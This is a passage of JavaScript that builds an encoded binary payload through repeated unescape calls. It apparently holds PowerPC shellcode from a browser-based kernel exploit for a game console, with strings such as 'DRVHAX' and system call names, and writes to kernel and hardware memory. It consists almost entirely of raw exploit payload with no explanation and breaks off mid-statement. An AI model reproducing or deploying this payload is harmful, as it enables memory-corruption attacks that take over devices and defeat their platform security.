unescape("%u57de%uc00e%u7fff%ueb78%u4e80%u0421%u8121%u0008%u7fff%uf378%u3860%u0000%u7d29%u03a6%u7fe4%ufb78%u4e80%u0421%u8121%u0008%u3860%u0001%u7fe4%ufb78%u7d29%u03a6%u4e80%u0421%u3961%u0028%u4800%u16b8"); + str += unescape("%u9421%uffe0%u7c08%u02a6%u3ca0%u0180%u3880%u0000%ubfc1%u0018%u3fe0%u0102%u63ff%ub790%u9001%u0024%u7fe9%u03a6%u38a5%u1ced%u38c1%u0010%u7c7e%u1b78%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u7fc3%uf378"); + str += unescape("%u3880%u0000%u38a5%u1cfa%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u1d10%u38c1%u0008%u3880%u0000%u7fe9%u03a6%u7fc3%uf378%u4e80%u0421%u8121%u0008%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u0008"); + str += unescape("%u7c7f%u1b78%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0010%u7c64%u1b78%u3c7f%uf400%u7d29%u03a6%u4e80%u0421%u8121%u0010%u7fe4%ufb78%u3c60%uf400%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0000"); + str += unescape("%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0001%u7d29%u03a6%u4e80%u0421%u3961%u0020%u4800%u15e0%u7c08%u02a6%u9421%uffe8%ubf81%u0008%u7c7f%u1b78%u9001%u001c%u7c9d%u2378%u7cbc%u2b78%u3bc0%u0002"); + str += unescape("%u38e0%u0000%u7fe3%ufb78%u3880%u0000%u38a0%u0000%u38c0%u0000%u4bff%ufe65%u7fe3%ufb78%u3880%u0000%u7f85%ue378%u7fa6%ueb78%u4bff%ufdd5%u7fe3%ufb78%u4bff%ufed1%u37de%uffff%u40a2%uffc8%u3961%u0018"); + str += unescape("%u4800%u1574%u9421%uffe0%u7c08%u02a6%u3ca0%u0180%u3880%u0000%ubfc1%u0018%u3fc0%u0102%u63de%ub790%u9001%u0024%u7fc9%u03a6%u38a5%u1d28%u38c1%u0010%u7c7f%u1b78%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6"); + str += unescape("%u7fe3%ufb78%u3880%u0000%u38a5%u1d10%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u1d35%u38c1%u0008%u3880%u0000%u7fe3%ufb78%u7fc9%u03a6%u4e80%u0421%u8121%u0010%u7d29%u03a6%u4e80%u0421%u8121%u000c"); + str += unescape("%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u000c%u7c7e%u1b78%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0008%u3c80%uf400%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u0008%u3c9e%uf400%u3860%u0001"); + str += unescape("%u7d29%u03a6%u4e80%u0421%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000%u7fe3%ufb78%u4bff%ufd5d%u7fe3%ufb78%u4bff%ufddd%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000%u7fe3%ufb78%u4bff%ufd3d"); + str += unescape("%u7fe3%ufb78%u4bff%ufdbd%u3c80%u0180%u7fe3%ufb78%u3884%u1d49%u38a0%u0000%u4bff%ufe89%u3961%u0020%u4800%u145c%u7c08%u02a6%u9421%uffe0%u3d20%u0102%u3ca0%u0180%u6129%ub790%u93e1%u001c%u7d29%u03a6"); + str += unescape("%u9001%u0024%u3880%u0000%u38a5%u1d61%u38c1%u0008%u7c7f%u1b78%u4e80%u0421%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000%u7fe3%ufb78%u4bff%ufccd%u7fe3%ufb78%u4bff%ufd4d%u3880%u0000%u38a0%u0000"); + str += unescape("%u38c0%u0000%u38e0%u0000%u7fe3%ufb78%u4bff%ufcad%u7fe3%ufb78%u4bff%ufd2d%u8121%u0008%u7d29%u03a6%u4e80%u0421%u3961%u0020%u4800%u13d8%u9421%uffd8%u7c08%u02a6%u3ca0%u0180%ubfa1%u001c%u3fe0%u0102"); + str += unescape("%u63ff%ub790%u9001%u002c%u7fe9%u03a6%u7c9d%u2378%u38a5%u1c81%u3880%u0000%u38c1%u0014%u7c7e%u1b78%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u1d67%u38c1%u0010%u4e80%u0421"); + str += unescape("%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u1d76%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u1d85%u38c1%u0008%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u4e80%u0421%u8121%u0014%u3880%u0020"); + str += unescape("%u3860%u0300%u7d29%u03a6%u4e80%u0421%u8121%u0014%u7c7e%u1b78%u3880%u0008%u7d29%u03a6%u3860%u1000%u4e80%u0421%u8161%u0010%u3920%u0000%u7fa4%ueb78%u7d69%u03a6%u38a0%u0000%u38c0%u0000%u38fe%u0300"); + str += unescape("%u3900%u0300%u3940%u001a%u7c7f%u1b78%u4e80%u0421%u8121%u000c%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u8121%u0008%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u409e%u0028%u6000%u0000%u6000%u0000"); + str += unescape("%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u4bff%uffc8%u3961%u0028%u4800%u1298%u38a5%u0001%u3920%u0000%u7ca9%u03a6%u4240%u001c%u7d03%u48ae%u7d44%u48ae%u7f88%u5000"); + str += unescape("%u409e%u0014%u3929%u0001%u4bff%uffe8%u3860%u0000%u4e80%u0020%u3860%u0001%u4e80%u0020%u38a5%u0001%u3920%u0000%u7ca9%u03a6%u4240%u0014%u7d44%u48ae%u7d43%u49ae%u3929%u0001%u4bff%ufff0%u4e80%u0020"); + str += unescape("%u7c08%u02a6%u9421%uffe8%ubf81%u0008%u7c7e%u1b78%u9001%u001c%u7c9d%u2378%u7cbf%u2b78%u3f80%u0180%u7f9f%ue000%u419e%u0024%u7fe3%ufb78%u7fc4%uf378%u7fa5%ueb78%u4bff%uff71%u2f83%u0000%u419e%u005c"); + str += unescape("%u3bff%u0004%u4bff%uffdc%u3f80%u0f84%u3fe0%u0d80%u639c%u8a0c%u7fe3%ufb78%u7fc4%uf378%u7fa5%ueb78%u4bff%uff45%u2f83%u0000%u419e%u0030%u3bff%u0004%u7f9f%ue000%u409e%uffe0%u3d20%u0103%u3c60%u0180"); + str += unescape("%u6129%u1368%u3863%u1d9a%u7d29%u03a6%u4e80%u0421%u3860%u0000%u4800%u0008%u7fe3%ufb78%u3961%u0018%u4800%u1194%u7c08%u02a6%u9421%ufff0%u93e1%u000c%u7c7f%u1b78%u9001%u0014%u3860%u0001%u3880%u0000"); + str += unescape("%u38a0%u0000%u38c0%u0000%u38e0%u0000%u3d00%u0001%u7fe9%ufb78%u3800%u3400%u7c3f%u0b78%u4400%u0002%u6000%u0000%u7fe1%ufb78%u7c7f%u1b78%u3961%u0010%u7fe3%ufb78%u4800%u114c%u7c08%u02a6%u9421%ufff0"); + str += unescape("%ubfc1%u0008%u7c7f%u1b78%u9001%u0014%u7c9e%u2378%u3860%u0001%u3880%u0000%u7fc5%uf378%u38c0%u0000%u38e0%u0000%u3d00%u0001%u7fe9%ufb78%u7c3e%u0b78%u3800%u3500%u4400%u0002%u6000%u0000%u7fc1%uf378"); + str += unescape("%u3961%u0010%u4800%u10f8%u7c08%u02a6%u9421%ufee0%u3920%u0000%u7c24%u0b78%ubea1%u00f4%u9001%u0124%u7c7c%u1b78%u9524%u00e0%u3d20%u0102%u6129%ua31c%u83c3%u0004%u3c60%u0180%u7d29%u03a6%u3863%u1dac"); + str += unescape("%u3fe0%u0102%u63ff%ub790%u3fa0%u0180%u3bbd%u1bd0%u4e80%u0421%u7fc3%uf378%u4bff%uf791%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u1db4%u38c1%u00dc%u4e80%u0421%u3ca0%u0180%u7fc3%uf378"); + str += unescape("%u7fe9%u03a6%u3880%u0000%u38a5%u1d61%u38c1%u00d8%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u1ced%u38c1%u00d4%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000"); + str += unescape("%u38a5%u1dbe%u38c1%u00d0%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u1dd0%u38c1%u00cc%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u1ddd%u38c1%u00c8"); + str += unescape("%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u1c81%u38c1%u00c4%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u1c93%u38c1%u00c0%u4e80%u0421%u3ca0%u0180"); + str += unescape("%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u1d67%u38c1%u00bc%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u1d76%u38c1%u00b8%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6"); + str += unescape("%u3880%u0000%u38a5%u1df3%u38c1%u00b4%u4e80%u0421%u3ca0%u0180%u38c1%u00b0%u7fe9%u03a6%u7fc3%uf378%u38a5%u1d85%u3880%u0000%u4e80%u0421%u3861%u0088%u7cbd%u64aa%u7ca3%u65aa%u3880%u000c%u80a1%u00dc"); + str += unescape("%u4bff%ufd01%u395d%u000c%u7c78%u1b78%u3861%u007c%u7caa%u64aa%u7ca3%u65aa%u3880%u000c%u80a1%u00dc%u4bff%ufce1%u395d%u0018%u3861%u0070%u3880%u000c%u7caa%u64aa%u7ca3%u65aa%u80a1%u00dc%u4bff%ufcc5"); + str += unescape("%u395d%u0024%u3861%u0064%u3880%u000c%u7caa%u64aa%u7ca3%u65aa%u80a1%u00dc%u4bff%ufca9%u3ca0%u0180%u7fe9%u03a6%u3880%u0000%u38a5%u1e00%u38c1%u00ac%u7c77%u1b78%u8061%u00e0%u4e80%u0421%u3ca0%u0180"); + str += unescape("%u38c1%u00a8%u38a5%u1e10%u7fe9%u03a6%u8061%u00e0%u3880%u0000%u4e80%u0421%u8121%u00c4%u3880%u0004%u3860%u004c%u7d29%u03a6%u4e80%u0421%u3d20%u1f20%u6129%u0014%u3940%uffb4%u9069%u0000%u3d20%u1f20"); + str += unescape("%u6129%u0018%u7c7b%u1b78%u9149%u0000%u3d40%u1f20%u3920%uffff%u614a%u001c%u912a%u0000%u3d40%u1f20%u614a%u0020%u7c23%u0b78%u912a%u0000%u3d40%ufc2a%u9543%u00a4%u3ca0%u1000%u3880%u0004%u4bff%ufc05"); + str += unescape("%u3881%u004c%u7c79%u1b78%u387d%u0030%u7ca3%uc4aa%u7ca4%uc5aa%u3ca0%u0100%u7c83%u2378%u3880%u0018%u4bff%ufbe1%u3881%u0034%u7c75%u1b78%u387d%u0048%u7ca3%uc4aa%u7ca4%uc5aa%u7c83%u2378%u3ca0%u0100"); + str += unescape("%u3880%u0018%u4bff%ufbbd%u389d%u0060%u38a0%u002c%u7c7a%u1b78%u3861%u0008%u4bff%ufb85%u3ca0%u0100%u3880%u002c%u3861%u0008%u4bff%ufb99%u813c%u0014%u3880%u0008%u3ac3%u002c%u7d29%u03a6%u3860%u1000"); + str += unescape("%u4e80%u0421%u813c%u0014%u7c7e%u1b78%u3880%u0020%u7d29%u03a6%u3860%u00a0%u4e80%u0421%u8161%u00bc%u7c7f%u1b78%u3c80%u011a%u7fc3%uf378%u6084%u1dd8%u38a0%u0000%u38c0%u0000%u38ff%u00a0%u3900%u00a0"); + str += unescape("%u3920%u0000%u3940%u0009%u7d69%u03a6%u4e80%u0421%u2f83%u0000%u40be%u001c%u3d20%u0103%u3c60%u0180%u6129%u1368%u3863%u1e19%u7d29%u03a6%u4e80%u0421%u8141%u00ac%u3d00%u1b80%u3920%u0001%u6108%u0008"); + str += unescape("%u394a%u002c%u913e%u0084%u915e%u0098%u7fc3%uf378%u93fe%u000c%u911e%u0014%u933e%u0080%u913f%u002c%u913f%u006c%u8121%u00b4%u915f%u0044%u3940%u0100%u913f%u0094%u8121%u00b8%u935f%u0024%u933f%u0028"); + str += unescape("%u7d29%u03a6%u92bf%u0034%u911f%u0038%u935f%u0064%u915f%u0068%u92df%u0074%u4e80%u0421%u8121%u00b0%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u409e%u0028%u6000%u0000%u6000%u0000%u6000%u0000"); + str += unescape("%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u4bff%uffc8%u813c%u0018%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u813c%u0018%u7fe3%ufb78%u3be1%u009c%u7d29%u03a6%u4e80%u0421%u393d%u008c"); + str += unescape("%u7d49%u34aa%u7d5f%u35aa%u3880%u0006%u38a0%u0000%u38c0%u0000%u7f09%u03a6%u7fe3%ufb78%u4e80%u0421%u3d20%uffea%u6129%ua1b0%u815d%u0098%u913b%u0044%u38a1%u0094%u813d%u0094%u38c0%u0008%u9141%u0098"); + str += unescape("%u7ee9%u03a6%u9121%u0094%u3880%u0006%u7fe3%ufb78%u4e80%u0421%u3c60%uff20%u6063%u0008%u3880%u0000%u4bff%ufad9%u3c60%uffea%u809b%u0048%u6063%ua7a0%u4bff%ufac9%u3961%u0120%u4800%u0be0%u7c08%u02a6"); + str += unescape("%u9421%uffc0%u3ca0%u0180%ubf61%u002c%u3fc0%u0102%u9001%u0044%u63de%ub790%u7c7f%u1b78%u7fc9%u03a6%u7c9c%u2378%u8063%u0004%u3880%u0000%u38a5%u2aa4%u38c1%u001c%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6"); + str += unescape("%u807f%u0004%u3880%u0000%u38a5%u2ab1%u38c1%u0018%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u807f%u0004%u3880%u0000%u38a5%u2ac9%u38c1%u0014%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u807f%u0004%u3880%u0000"); + str += unescape("%u38a5%u2add%u38c1%u0010%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u807f%u0004%u3880%u0000%u38a5%u2af3%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u2b09%u38c1%u0008%u3880%u0000%u807f%u0004%u7fc9%u03a6"); + str += unescape("%u4e80%u0421%u8121%u001c%u7d29%u03a6%u4e80%u0421%u8121%u0018%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u0018%u7c7e%u1b78%u3860%u0001%u7d29%u03a6%u3fbe%uf400%u4e80%u0421%u8121%u0014%u7c7b%u1b78"); + str += unescape("%u3c80%uf400%u7d29%u03a6%u3860%u0000%u4e80%u0421%u8121%u0014%u7fa4%ueb78%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0010%u3880%u0000%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u0010%u3880%u0000"); + str += unescape("%u3860%u0001%u7d29%u03a6%u4e80%u0421%u813f%u001c%u3c60%uf400%u7fc4%uf378%u7d29%u03a6%u4e80%u0421%u813f%u001c%u7f64%udb78%u7fa3%ueb78%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0000%u7d29%u03a6"); + str += unescape("%u4e80%u0421%u8121%u000c%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0008%u3880%u0000%u38a0%u0000%u7f86%ue378%u7d29%u03a6%u3860%u0001%u4e80%u0421%u8121%u000c%u3860%u0001%u7d29%u03a6%u4e80%u0421"); + str += unescape("%u8121%u0010%u3860%u0001%u3880%u0000%u7d29%u03a6%u4e80%u0421%u3d20%u4000%u7d29%u03a6%u4240%u000c%u6000%u0000%u4bff%ufff8%u813f%u0024%u7d29%u03a6%u4e80%u0421%u3961%u0040%u4800%u09f8%u3d00%u01ff"); + str += unescape("%u3ce3%u4000%u6108%uffff%u7f87%u4040%u409d%u002c%u3d00%u00ff%u3ce3%u3e00%u6108%uffff%u7f87%u4040%u419d%u0028%u3d20%u3200%u3d40%uc200%u6129%u0012%u614a%u01ff%u4800%u0014%u3d20%u3000%u3d40%uc000"); + str += unescape("%u6129%u0012%u614a%u03ff%u7cf8%u82a6%u7d19%u82a6%u7d58%u83a6%u7d39%u83a6%u7c00%u06ac%u4c00%u012c%u3945%u0001%u3920%u0000%u7d49%u03a6%u4240%u0014%u7d49%u20ae%u7d49%u19ae%u3929%u0001%u4bff%ufff0"); + str += unescape("%u5469%u0034%u7c63%u2a14%u7f89%u1840%u409c%u0014%u7c00%u48ac%u7c00%u04ac%u3929%u0020%u4bff%uffec%u7cf8%u83a6%u7d19%u83a6%u7c00%u06ac%u4c00%u012c%u4e80%u0020%u9421%uffe8%u7c08%u02a6%u3920%u0000"); + str += unescape("%u3c60%u0180%u9121%u0008%u3d20%u0102%u6129%ua31c%u9001%u001c%u3881%u000c%u7d29%u03a6%u3863%u2b1b%u4e80%u0421%u3d20%u0102%u6129%ub790%u3ca0%u0180%u8061%u000c%u38c1%u0008%u7d29%u03a6%u3880%u0000"); + str += unescape("%u38a5%u2b26%u4e80%u0421%u8121%u0008%u7d29%u03a6%u4e80%u0421%u8001%u001c%u3821%u0018%u7c08%u03a6%u4e80%u0020%u9421%uffe0%u7c08%u02a6%ubf41%u0008%u7c9f%u2379%u9001%u0024%u7c7e%u1b78%u7cbd%u2b78"); + str += unescape("%u7cdc%u3378%u7cfb%u3b78%u7d1a%u4378%u4182%u0024%u813f%u0000%u6d2a%u7f45%u2f8a%u4c46%u409e%u0014%u813f%u0010%u6d2a%u0002%u2f8a%u0014%u419e%u0014%u3c80%u0180%u7fc3%uf378%u3884%u2b3a%u4bff%ufc81"); + str += unescape("%u80ff%u0020%u3960%u0000%ua11f%u0030%u7cff%u3a14%u7ce9%u3b78%u7f8b%u4000%u409c%u0060%ua0df%u0032%u8149%u0000%u1cc6%u0028%u7cc7%u3214%u80a6%u0010%u7caa%u2a14%u7faa%ueb78%u7cbf%u2a14%u38a5%uffff"); + str += unescape("%u8c05%u0001%u2f80%u0000%u419e%u0020%u88ca%u0000%u2f86%u0000%u419e%u0014%u7f80%u3040%u409e%u0060%u394a%u0001%u4bff%uffdc%u894a%u0000%u7f8a%u0000%u41be%u0024%u4800%u0048%u2f9a%u0000%u3be0%u0000"); + str += unescape("%u41be%u0048%u7fc3%uf378%u7fa4%ueb78%u4bff%ufbf1%u4800%u0038%u2f9b%u0000%u419e%u000c%u8149%u000c%u915b%u0000%u2f9c%u0000%u419e%u000c%u8149%u0014%u915c%u0000%u83e9%u0010%u4800%u0010%u396b%u0001"); + str += unescape("%u3929%u0028%u4bff%uff50%u3961%u0020%u7fe3%ufb78%u4800%u079c%u7c08%u02a6%u9421%uff60%u3d20%u0102%u3c60%u0180%u6129%ua31c%ubfc1%u0098%u9001%u00a4%u7d29%u03a6%u3863%u2b4b%u3881%u0094%u3fe0%u0102"); + str += unescape("%u63ff%ub790%u4e80%u0421%u3ca0%u0180%u38c1%u008c%u8061%u0094%u3880%u0000%u38a5%u2b58%u7fe9%u03a6%u4e80%u0421%u8121%u008c%u3880%u0000%u38a0%u003c%u7d29%u03a6%u3861%u0008%u4e80%u0421%u8121%u008c"); + str += unescape("%u8061%u0094%u3ca0%u0180%u9121%u0014%u3d20%u0180%u3929%u1e34%u9061%u000c%u9121%u0008%u3880%u0001%u38a5%u2b5f%u38c1%u0090%u7fe9%u03a6%u4e80%u0421%u8121%u0090%u3ca0%u0180%u8061%u0094%u8129%u0000"); + str += unescape("%u3880%u0001%u38a5%u2b79%u38c1%u0090%u9121%u001c%u7fe9%u03a6%u4e80%u0421%u8121%u0090%u3ca0%u0180%u8061%u0094%u8129%u0000%u3880%u0000%u38a5%u2b8e%u38c1%u0010%u9121%u0020%u7fe9%u03a6%u4e80%u0421"); + str += unescape("%u3ca0%u0180%u8061%u0094%u3880%u0000%u38a5%u2b95%u38c1%u0018%u7fe9%u03a6%u4e80%u0421%u3ca0%u0180%u8061%u0094%u3880%u0000%u38a5%u2bab%u38c1%u0024%u7fe9%u03a6%u4e80%u0421%u3ca0%u0180%u8061%u0094"); + str += unescape("%u3880%u0000%u38a5%u2bb8%u38c1%u0028%u7fe9%u03a6%u4e80%u0421%u3ca0%u0180%u8061%u0094%u3880%u0000%u38a5%u2bca%u38c1%u002c%u7fe9%u03a6%u4e80%u0421%u8121%u0018%u3c60%ua000%u7d29%u03a6%u4e80%u0421"); + str += unescape("%u2f83%u0000%u40be%u0010%u3861%u0008%u4bff%uf53d%u4800%u0144%u3ca0%u0180%u7fe9%u03a6%u8061%u0094%u3880%u0000%u38a5%u2bd0%u38c1%u0070%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0094%u3880%u0000"); + str += unescape("%u38a5%u2bd8%u38c1%u006c%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0094%u3880%u0000%u38a5%u2be1%u38c1%u0068%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0094%u3880%u0000%u38a5%u2bf3%u38c1%u0064"); + str += unescape("%u4e80%u0421%u3ca0%u0180%u3880%u0000%u38a5%u2c05%u38c1%u0044%u7fe9%u03a6%u8061%u0094%u4e80%u0421%u8121%u0070%u7d29%u03a6%u4e80%u0421%u8121%u0064%u7c7e%u1b78%u3880%u0040%u3860%u0100%u7d29%u03a6"); + str += unescape("%u4e80%u0421%u7c7f%u1b79%u40a2%u0014%u3c80%u0180%u3861%u0008%u3884%u2c14%u4bff%uf965%u8121%u0014%u3880%u0000%u38a0%u0100%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u8121%u0068%u7fe4%ufb78%u38a0%u0003"); + str += unescape("%u38c0%u0000%u38e0%u0000%u7d29%u03a6%u7fc3%uf378%u4e80%u0421%u8121%u006c%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u8121%u0044%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u3c60%uffea%u6063%uaa58%u3880%u0000"); + str += unescape("%u4bff%uf3b9%u3c60%uffea%u6063%uaa5c%u3c80%u1400%u4bff%uf3a9%u3fe0%u0102%u3ca0%u0180%u63ff%ub790%u8061%u0094%u7fe9%u03a6%u3880%u0000%u38a5%u2c42%u38c1%u0088%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6"); + str += unescape("%u8061%u0094%u3880%u0000%u38a5%u2c51%u38c1%u0084%u4e80%u0421%u3ca0%u0180%u38a5%u2c60%u38c1%u0080%u7fe9%u03a6%u8061%u0094%u3880%u0000%u4e80%u0421%u8121%u001c%u3880%u0020%u3860%u4000%u7d29%u03a6"); + str += unescape("%u4e80%u0421%u8121%u001c%u7c7e%u1b78%u3880%u0008%u3860%u1000%u7d29%u03a6%u4e80%u0421%u7c7f%u1b79%u4182%u000c%u2f9e%u0000%u40be%u0014%u3c80%u0180%u3861%u0008%u3884%u2c75%u4bff%uf845%u8161%u0088"); + str += unescape("%u3c80%u0180%u7fe3%ufb78%u3884%u1270%u38a0%u0001%u38c1%u0008%u38fe%u4000%u3900%u4000%u3920%u0000%u3940%u001a%u7d69%u03a6%u4e80%u0421%u2f83%u0000%u40be%u0014%u3c80%u0180%u3861%u0008%u3884%u2cb1"); + str += unescape("%u4bff%uf7fd%u8121%u0084%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u8121%u0080%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u409e%u0028%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000"); + str += unescape("%u6000%u0000%u6000%u0000%u6000%u0000%u4bff%uffc8%u3c60%uffea%u3c80%u0180%u6063%ua174%u3884%u11b8%u4bff%uf259%u8081%u0008%u3ca0%u0180%u3920%u0000%u3861%u0008%u38a5%u2ce5%u38c1%u0078%u38e1%u007c"); + str += unescape("%u3900%u0001%u9121%u007c%u9121%u0078%u4bff%ufa99%u7c6a%u1b79%u8081%u0008%u41a2%u0018%u8061%u007c%u7c84%u5214%u80a1%u0078%u3c63%uc000%u4bff%ue7a5%u8081%u0008%u3ca0%u0180%u3920%u0000%u3861%u0008"); + str += unescape("%u38a5%u2ceb%u38c1%u0070%u38e1%u0074%u3900%u0000%u9121%u0074%u9121%u0070%u4bff%ufa4d%u7c64%u1b79%u41a2%u001c%u8061%u0074%u8121%u0008%u80a1%u0070%u3c63%uc000%u7c89%u2214%u4bff%ue759%u8081%u0008"); + str += unescape("%u3ca0%u0180%u3920%u0000%u3861%u0008%u38a5%u2cf3%u38c1%u0068%u38e1%u006c%u3900%u0000%u9121%u006c%u9121%u0068%u4bff%ufa01%u7c64%u1b79%u41a2%u001c%u8061%u006c%u8121%u0008%u80a1%u0068%u3c63%uc000"); + str += unescape("%u7c89%u2214%u4bff%ue70d%u8081%u0008%u3ca0%u0180%u3920%u0000%u3861%u0008%u38a5%u2cf9%u38c1%u0044%u38e1%u0064%u3900%u0000%u9121%u0064%u9121%u0044%u4bff%uf9b5%u7c64%u1b79%u41a2%u001c%u8061%u0064"); + str += unescape("%u8121%u0008%u80a1%u0044%u3c63%uc000%u7c89%u2214%u4bff%ue6c1%u3c60%uffea%u3c80%u0180%u6063%ua1b8%u3884%u0058%u4bff%uf115%u3c60%uffe8%u3c80%ufff0%u6063%u4d40%u6084%u2274%u4bff%uf101%u3c60%uffe8"); + str += unescape("%u3c80%ufff0%u6063%u5140%u6084%u2274%u4bff%uf0ed%u3c60%uffe8%u3c80%ufff0%u6063%u5540%u6084%u2274%u4bff%uf0d9%u3c60%uffea%u3c80%ufff0%u6063%u9db0%u6084%u2274%u4bff%uf0c5%u3c60%uffe8%u3c80%ufff0"); + str += unescape("%u6063%u4d44%u6084%u2294%u4bff%uf0b1%u3c60%uffe8%u3c80%ufff0%u6063%u5144%u6084%u2294%u4bff%uf09d%u3c60%uffe8%u3c80%ufff0%u6063%u5544%u6084%u2294%u4bff%uf089%u3c60%uffea%u3c80%ufff0%u6063%u9db4"); + str += unescape("%u6084%u2294%u4bff%uf075%u4bff%ue615%u8121%u0014%u3880%u0000%u38a0%u0020%u7d29%u03a6%u3861%u0044%u4e80%u0421%u3c60%uc080%u3920%u0214%u6063%u1404%u3881%u0064%u38a0%u0004%u9121%u0064%u4bff%ue5d5"); + str += unescape("%u3d20%udead%u3c60%uc080%u6129%uc0de%u6063%u1400%u3881%u0064%u38a0%u0004%u9121%u0064%u4bff%ue5b5%u3c60%uc080%u3881%u0064%u6063%u1300%u38a0%u0004%u4bff%ue5a1%u3c60%uc080%u3920%u0000%u6063%u1304"); + str += unescape("%u3881%u0064%u38a0%u0004%u9121%u0064%u4bff%ue585%u3d20%u0102%u3c60%uc080%u6129%ua31c%u6063%u1500%u9121%u0044%u3d20%u0102%u6129%ub790%u3881%u0044%u9121%u0048%u3d20%uffe8%u6129%u4c70%u38a0%u0020"); + str += unescape("%u9121%u0050%u3d20%uffe8%u6129%u5070%u9121%u0054%u3d20%uffe8%u6129%u5470%u9121%u0058%u3d20%uffea%u6129%u9ce0%u9121%u005c%u3d20%uffea%u6129%ua0e0%u9121%u0060%u3d20%u1005%u6129%ud180%u9121%u004c"); + str += unescape("%u4bff%ue511%u8121%u0008%u3c60%uc201%u38a0%u0004%u6063%uc55c%u8129%u0018%u3881%u0064%u5529%u01ba%u6529%u4800%u6129%u0003%u9121%u0064%u4bff%ue4e5%u8121%u0028%u3c60%u0101%u3880%u0004%u6063%uc55c"); + str += unescape("%u7d29%u03a6%u4e80%u0421%u8121%u0020%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u8121%u0020%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u8121%u002c%u7d29%u03a6%u4e80%u0421%u3961%u00a0%u4800%u0044%u81cb%uffb8"); + str += unescape("%u81eb%uffbc%u820b%uffc0%u822b%uffc4%u824b%uffc8%u826b%uffcc%u828b%uffd0%u82ab%uffd4%u82cb%uffd8%u82eb%uffdc%u830b%uffe0%u832b%uffe4%u834b%uffe8%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8"); + str += unescape("%u800b%u0004%u83eb%ufffc%u7c08%u03a6%u7d61%u5b78%u4e80%u0020%u3800%u3200%u4400%u0002%u4e80%u0020%u3800%u3300%u4400%u0002%u4e80%u0020%u3800%u4700%u4400%u0002%u4e80%u0020%u3800%u4800%u4400%u0002"); + str += unescape("%u4e80%u0020%u8061%u0008%u8081%u000c%u8001%u0014%u7c08%u03a6%u3821%u0010%u4e80%u0020%u8001%u0014%u83e1%u000c%u7c08%u03a6%u83c1%u0008%u3821%u0010%u4e80%u0020%uba81%u0008%u8001%u003c%u7c08%u03a6"); + str += unescape("%u3821%u0038%u4e80%u0020%u9421%uffe0%ubf61%u000c%u7c08%u02a6%u7c7e%u1b78%u7c9f%u2378%u9001%u0024%u4452%u5648%u4158%u0000%ufff0%u2274%ufff0%u2294%u4f53%u5969%u656c%u6454%u6872%u6561%u6400%u6d65"); + str += unescape("%u6d73%u6574%u004f%u5341%u6c6c%u6f63%u4672%u6f6d%u5379%u7374%u656d%u004f%u5346%u7265%u6554%u6f53%u7973%u7465%u6d00%u494d%u5f53%u6574%u4465%u7669%u6365%u5374%u6174%u6500%u494d%u5f43%u6c6f%u7365"); + str += 